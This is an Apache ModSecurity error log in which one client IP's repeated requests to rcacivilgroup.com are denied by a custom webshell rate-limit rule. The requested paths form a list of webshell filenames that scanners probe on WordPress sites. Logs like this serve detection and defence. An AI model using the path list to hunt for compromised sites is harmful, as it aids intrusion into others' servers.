[Mon Mar 30 23:40:26.106935 2026] [:error] [pid 60746:tid 60800] [client 72.146.16.175:59425] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acqZap4kQrgjDdAbQCozgAAAAJg"]
[Mon Mar 30 23:40:26.578977 2026] [:error] [pid 60745:tid 60757] [client 72.146.16.175:65474] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acqZaiQDBn75QnHaPb9W5QAAAEg"]
[Mon Mar 30 23:40:27.047000 2026] [:error] [pid 60745:tid 60763] [client 72.146.16.175:61526] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acqZayQDBn75QnHaPb9W6gAAAE4"]
[Mon Mar 30 23:40:27.568660 2026] [:error] [pid 60746:tid 60781] [client 72.146.16.175:62246] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "acqZa54kQrgjDdAbQCozhQAAAIU"]
[Mon Mar 30 23:40:28.048635 2026] [:error] [pid 60747:tid 60814] [client 72.146.16.175:63788] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acqZbAU3IY-cCpy_-zFRawAAAMs"]
[Mon Mar 30 23:40:28.530226 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:60281] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acqZbK4QNVlzYgEvIjnNrQAAAQU"]
[Mon Mar 30 23:40:29.019305 2026] [:error] [pid 60746:tid 60776] [client 72.146.16.175:58219] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acqZbZ4kQrgjDdAbQCoziQAAAIA"]
[Mon Mar 30 23:40:29.496429 2026] [:error] [pid 60746:tid 60786] [client 72.146.16.175:63801] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acqZbZ4kQrgjDdAbQCozigAAAIo"]
[Mon Mar 30 23:40:29.971777 2026] [:error] [pid 60747:tid 60806] [client 72.146.16.175:65495] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "acqZbQU3IY-cCpy_-zFRhQAAAMM"]
[Mon Mar 30 23:40:30.508751 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:63769] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "acqZbq4QNVlzYgEvIjnNuwAAARY"]
[Mon Mar 30 23:40:30.989868 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:60182] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "acqZbgIOJ4Lc0iJVRzwGVAAAAAw"]
[Mon Mar 30 23:40:31.468613 2026] [:error] [pid 60835:tid 60860] [client 72.146.16.175:56654] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "acqZbwIOJ4Lc0iJVRzwGWwAAABc"]
[Mon Mar 30 23:40:31.946520 2026] [:error] [pid 60835:tid 60857] [client 72.146.16.175:62271] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "acqZbwIOJ4Lc0iJVRzwGXwAAABQ"]
[Mon Mar 30 23:40:32.441843 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:61503] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "acqZcAU3IY-cCpy_-zFRmQAAANg"]
[Mon Mar 30 23:40:32.936069 2026] [:error] [pid 60835:tid 60845] [client 72.146.16.175:57673] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "acqZcAIOJ4Lc0iJVRzwGZgAAAAg"]
[Mon Mar 30 23:40:33.409732 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:61505] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "acqZcQIOJ4Lc0iJVRzwGaQAAAAo"]
[Mon Mar 30 23:40:33.888092 2026] [:error] [pid 60746:tid 60799] [client 72.146.16.175:62306] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "acqZcZ4kQrgjDdAbQCozjAAAAJc"]
[Mon Mar 30 23:40:34.370578 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:63789] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "acqZcq4QNVlzYgEvIjnNywAAARY"]
[Mon Mar 30 23:40:34.863425 2026] [:error] [pid 60835:tid 60861] [client 72.146.16.175:65526] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "acqZcgIOJ4Lc0iJVRzwGbAAAABg"]
[Mon Mar 30 23:40:35.334982 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:59462] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "acqZc64QNVlzYgEvIjnNzgAAAQ0"]
[Mon Mar 30 23:40:35.841268 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:60278] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acqZcwIOJ4Lc0iJVRzwGbwAAAAk"]
[Mon Mar 30 23:40:36.339073 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:65451] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acqZdK4QNVlzYgEvIjnN0QAAAQE"]
[Mon Mar 30 23:40:36.814360 2026] [:error] [pid 60747:tid 60819] [client 72.146.16.175:61541] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acqZdAU3IY-cCpy_-zFRnwAAANA"]
[Mon Mar 30 23:40:37.282366 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:62245] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "acqZdQIOJ4Lc0iJVRzwGdAAAAAU"]
[Mon Mar 30 23:40:37.759681 2026] [:error] [pid 60835:tid 60851] [client 72.146.16.175:61524] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "acqZdQIOJ4Lc0iJVRzwGdQAAAA4"]
[Mon Mar 30 23:40:38.232069 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:63837] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "acqZdq4QNVlzYgEvIjnN2AAAAQM"]
[Mon Mar 30 23:40:38.706509 2026] [:error] [pid 60745:tid 60755] [client 72.146.16.175:60737] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "acqZdiQDBn75QnHaPb9XDgAAAEY"]
[Mon Mar 30 23:40:39.175003 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:60687] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "acqZd64QNVlzYgEvIjnN2QAAAQk"]
[Mon Mar 30 23:40:39.662178 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:60751] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "acqZd64QNVlzYgEvIjnN3wAAARc"]
[Mon Mar 30 23:40:40.128681 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:61527] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "acqZeK4QNVlzYgEvIjnN5QAAAQM"]
[Mon Mar 30 23:40:40.597477 2026] [:error] [pid 60745:tid 60753] [client 72.146.16.175:62273] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "acqZeCQDBn75QnHaPb9XEwAAAEQ"]
[Mon Mar 30 23:40:41.065229 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:59437] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "acqZea4QNVlzYgEvIjnN8gAAAQE"]
[Mon Mar 30 23:40:41.538323 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:60233] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "acqZea4QNVlzYgEvIjnN_QAAAQI"]
[Mon Mar 30 23:40:42.034856 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:60172] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "acqZep4kQrgjDdAbQCozmAAAAIY"]
[Mon Mar 30 23:40:42.511761 2026] [:error] [pid 60745:tid 60760] [client 72.146.16.175:61530] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "acqZeiQDBn75QnHaPb9XGgAAAEs"]
[Mon Mar 30 23:40:42.998683 2026] [:error] [pid 63557:tid 63570] [client 72.146.16.175:58222] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "acqZeq4QNVlzYgEvIjnOFQAAAQs"]
[Mon Mar 30 23:40:43.466908 2026] [:error] [pid 63557:tid 63577] [client 72.146.16.175:58151] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "acqZe64QNVlzYgEvIjnOGwAAARI"]
[Mon Mar 30 23:40:43.936344 2026] [:error] [pid 60747:tid 60820] [client 72.146.16.175:62333] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "acqZewU3IY-cCpy_-zFRoQAAANE"]
[Mon Mar 30 23:40:44.404860 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:62307] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "acqZfK4QNVlzYgEvIjnOKAAAARM"]
[Mon Mar 30 23:40:44.874405 2026] [:error] [pid 63557:tid 63576] [client 72.146.16.175:58149] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "acqZfK4QNVlzYgEvIjnOMQAAARE"]
[Mon Mar 30 23:40:45.352067 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:59414] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "acqZfa4QNVlzYgEvIjnOOQAAAQA"]
[Mon Mar 30 23:40:45.851989 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:62334] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "acqZfQIOJ4Lc0iJVRzwGegAAABY"]
[Mon Mar 30 23:40:46.321595 2026] [:error] [pid 63557:tid 63567] [client 72.146.16.175:60161] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "acqZfq4QNVlzYgEvIjnOSgAAAQg"]
[Mon Mar 30 23:40:46.817654 2026] [:error] [pid 60747:tid 60825] [client 72.146.16.175:65523] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "acqZfgU3IY-cCpy_-zFRpAAAANY"]
[Mon Mar 30 23:40:47.288586 2026] [:error] [pid 63557:tid 63566] [client 72.146.16.175:60700] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "acqZf64QNVlzYgEvIjnOVgAAAQc"]
[Mon Mar 30 23:40:47.758526 2026] [:error] [pid 60835:tid 60852] [client 72.146.16.175:59514] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "acqZfwIOJ4Lc0iJVRzwGfQAAAA8"]
[Mon Mar 30 23:40:48.226492 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:60795] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "acqZgAIOJ4Lc0iJVRzwGfwAAAAw"]
[Mon Mar 30 23:40:48.708146 2026] [:error] [pid 60835:tid 60860] [client 72.146.16.175:63848] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "acqZgAIOJ4Lc0iJVRzwGgQAAABc"]
[Mon Mar 30 23:40:49.186553 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:63870] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "acqZgQIOJ4Lc0iJVRzwGhgAAAAI"]
[Mon Mar 30 23:40:49.674271 2026] [:error] [pid 60745:tid 60760] [client 72.146.16.175:58187] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "acqZgSQDBn75QnHaPb9XLgAAAEs"]
[Mon Mar 30 23:40:50.153287 2026] [:error] [pid 60835:tid 60852] [client 72.146.16.175:57701] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "acqZggIOJ4Lc0iJVRzwGiQAAAA8"]
[Mon Mar 30 23:40:50.620873 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:57094] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "acqZggIOJ4Lc0iJVRzwGjAAAAAw"]
[Mon Mar 30 23:40:51.114036 2026] [:error] [pid 60746:tid 60800] [client 72.146.16.175:62290] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "acqZg54kQrgjDdAbQCozxwAAAJg"]
[Mon Mar 30 23:40:51.587808 2026] [:error] [pid 60745:tid 60759] [client 72.146.16.175:57695] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "acqZgyQDBn75QnHaPb9XMQAAAEo"]
[Mon Mar 30 23:40:52.073296 2026] [:error] [pid 60835:tid 60856] [client 72.146.16.175:61472] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "acqZhAIOJ4Lc0iJVRzwGkgAAABM"]
[Mon Mar 30 23:40:52.553043 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:61560] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "acqZhCQDBn75QnHaPb9XMwAAAFY"]
